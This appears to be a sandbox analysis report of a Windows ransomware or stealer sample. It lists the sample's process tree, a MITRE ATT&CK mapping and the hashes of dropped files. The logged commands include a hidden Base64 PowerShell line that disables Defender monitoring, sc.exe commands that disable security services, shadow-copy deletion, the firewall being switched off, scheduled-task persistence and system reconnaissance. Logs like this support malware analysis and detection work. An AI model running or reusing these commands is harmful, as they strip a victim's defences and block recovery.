C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5928
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1188
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:5704
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:912
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4220
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5520
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:6104
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2812
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4880
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1936 -
C:\Users\Admin\AppData\Local\Temp\sundayinsoho.com_chrome.exe"C:\Users\Admin\AppData\Local\Temp\sundayinsoho.com_chrome.exe"3⤵PID:5696
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2556
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:4584
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2876
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5532
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:1048
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\sundayinsoho.com_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1888
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\sundayinsoho.com_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4388
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4792
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2832
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:4408
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4136 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
PID:2860
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\system32\whoami.exewhoami3⤵PID:4364
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5300 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:4520 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:1696
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5248 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3348
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1904 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:1676
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\sundayinsoho.com_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4404
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4856
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:3176
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5704
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1616
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5356
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4760
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:1972
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:2716
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2836
-
C:\Users\Admin\AppData\Local\Temp\sundayinsoho.com_chrome.exeC:\Users\Admin\AppData\Local\Temp\sundayinsoho.com_chrome.exe1⤵PID:5252
-
C:\Users\Admin\AppData\Local\Temp\sundayinsoho.com_chrome.exeC:\Users\Admin\AppData\Local\Temp\sundayinsoho.com_chrome.exe1⤵PID:1528
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260822_024259.jpg
- Size 124KB
- SHA256 f88c2cac1db2e0783fc09606ee9760d1174cebd1fd3aa5fffcab200bbe09df71
- MD5 f5d01a802e39ceb6d19c9219e4c8e1e4
- SHA1 f040b9024f32e5da0d0d06920d956894cf18d75c
- SHA512 21a555c2a219b8e6aeb8eec1b485c3f5e2342b9254d93b45b102421fc36e1595e6091eecd34e0947ace70e0ed0216951833864479e9f1dca1d7615451f68b830
- SSDEEP 1536:SsNfKuIKdPe1BEumUt0tJzdg/XfNbd+gBJdnAJDTPJ/MGg/4mmmmmmmmmmmmmhmi:rfdPKqumUStS1bnBJdA1Lx7gsy9DMkV/
- TLSH T171C343179C489B87A01C87E8BD434EEC6E5A670DE9867EFF44620FC77E645120D8A13E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 76KB
- SHA256 ff2aaf1adc7c5ea9d16d4c3665e8dadd916abe7ea2ef6036a6bc7d75df535f96
- MD5 780839b856cfcfe19921f113a28051ca
- SHA1 496180a78de46aeb8762615860ab2cc269322e18
- SHA512 81ae02a5da77ffaeb64f3ca91876f98692289f7bf3101d5293dbac8d16ce24b0cc06ad2ee8012e1196d5eab391c65c4fd5077bce747045d9611d296e021c259f
- SSDEEP 1536:pOjZTpQmdLBVLCU4W7ggE4zq9fw98XW1AJiGHB+DjXQQdLkeSYG+VfpQKP4rzeN:pOjZ+oBVeUdgHNs8XW1AJiGOXQQGXYGi
- TLSH T18E731A368F22FCD4677E3D80E0503A461C883E678B75677CFA840DAA29A5644DF3D5AC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 76KB
- SHA256 c5bb62608fbc2cc9f6ae994bfc4ba164256c687e5d4a4a9119be27c37f36b0d0
- MD5 37a21cbde8668c1515048fec8b2fcc1b
- SHA1 f41a84e78cdc1ec9659d4ea9c395ee07eecde3b9
- SHA512 f959fd99d7a09fcac2a9316454e46ef49fc908f797ceaeaf3d31aac4162e7ab6b55ae4d681340c966d046fb970e4f676b7f427bff103016b2e15210fde440f77
- SSDEEP 1536:JOjZTpQmdLBVLCU4W7ggE4zq9fw98XW1AJiGHB+DjXQQdLkeSYG+VfpQKP4rzes:JOjZ+oBVeUdgHNs8XW1AJiGOXQQGXYG1
- TLSH T1277309368F22FCD4277E3D90E0502E461C883E678B75677CFA850DAA29A5244DF3D5AC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 248B
- SHA256 5d7b27a891737214b7170b43a619cdefde586ce79c8b9cb285d97c6ceca3f3a7
- MD5 47fea7d913cc8ffc56e8c67113855864
- SHA1 7fcecdebff39f1fab453f96cfc194d9992f1d67a
- SHA512 e9703b9776f936a383e0ac7403af1a36699a30cb81185a210584f039588c5e0b78c30447aab43f604fcfa65add1cbbe97e8ebd51f9520e785807360beaf90954
- TLSH T1A7D0A58F7149C5B90401123B41F38D4CD5E545683B13FD605A65DD4D31915C545F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 249B
- SHA256 6b7ce51ea4b60201bb512866a42ba8eadb6a97f096a1709269c13a08591cb356
- MD5 db93e9a07f6e29b1c2306931331ef4cc
- SHA1 8328f750a74e5f7c69de3aa3986bcae54d19436c
- SHA512 598e2c63341cea19a69a6063213ead794686fb66acfac5b1e51f367c9fbfa150aa1bca14959f532335cb275137235d6538274fd3d54d794969494fcac2d8d9da
- TLSH T134D0A5CF7149C5B90401123F40F38D4CD6D145683F13ED609A65DD4D32815C545F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 166KB
- SHA256 7ec133423f475ca726b9f11c96d181d1bd5e1fb14c05a458eeed5f69a0335a8c
- MD5 37e02b8a21d96a342a655f2503c39cdd
- SHA1 bfbb8e4ef97578a9a997c5a42a18048806164dc9
- SHA512 315f78a15fa65ed7bbe6a4a053c13570f49bd6ed0acaf590bd65d043a89ca029d5edf3787bfe533e09bef759d779d71c0ffee6981029f371f0be3bc5e3eb7cac
- SSDEEP 1536:j3vqBnfhS7Yj8csZ1ecbxFVA49NGE9vEPZdZ73CL29/yiipLoNNpoxmAKvjZLR/9:jfYYYjeZh4QaZrSLU+ENNpoBKvllD/p
- TLSH T1ACF37605C6B3CE2755865EAB081632D0B43DB7B0D2EC85FB61B2AA73F0379A6C34C655
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 166KB
- SHA256 a85e091690167f720498c4c6daf4ce78b99d4de612192512104b9d05ca1ad169
- MD5 814ddb16a87738427621826d25eaf167
- SHA1 6b1f85666a495103e880050a76fac782637845bb
- SHA512 f775493711cdc98e21b7a3507f765cf864b80dc90ec027c51f8ad95c83d56b46d2089a0db7f47a29f62588910fa103be6b8bd9c02b8599be3ea536254bf13b58
- SSDEEP 1536:23vqBnfhS7Yj8csZ1ecbxFVA49NGE9vEPZdZ73CL29/yiipLoNNpoxmAKvjZLR/T:2fYYYjeZh4QaZrSLU+ENNpoBKvllD/n
- TLSH T1D4F37605C6B3CE2755865EAB081632D0B43DB7B0D2EC85FB61B2AA73F0379A6C34C655
- MD5 SHA1 SHA512 SSDEEP TLSH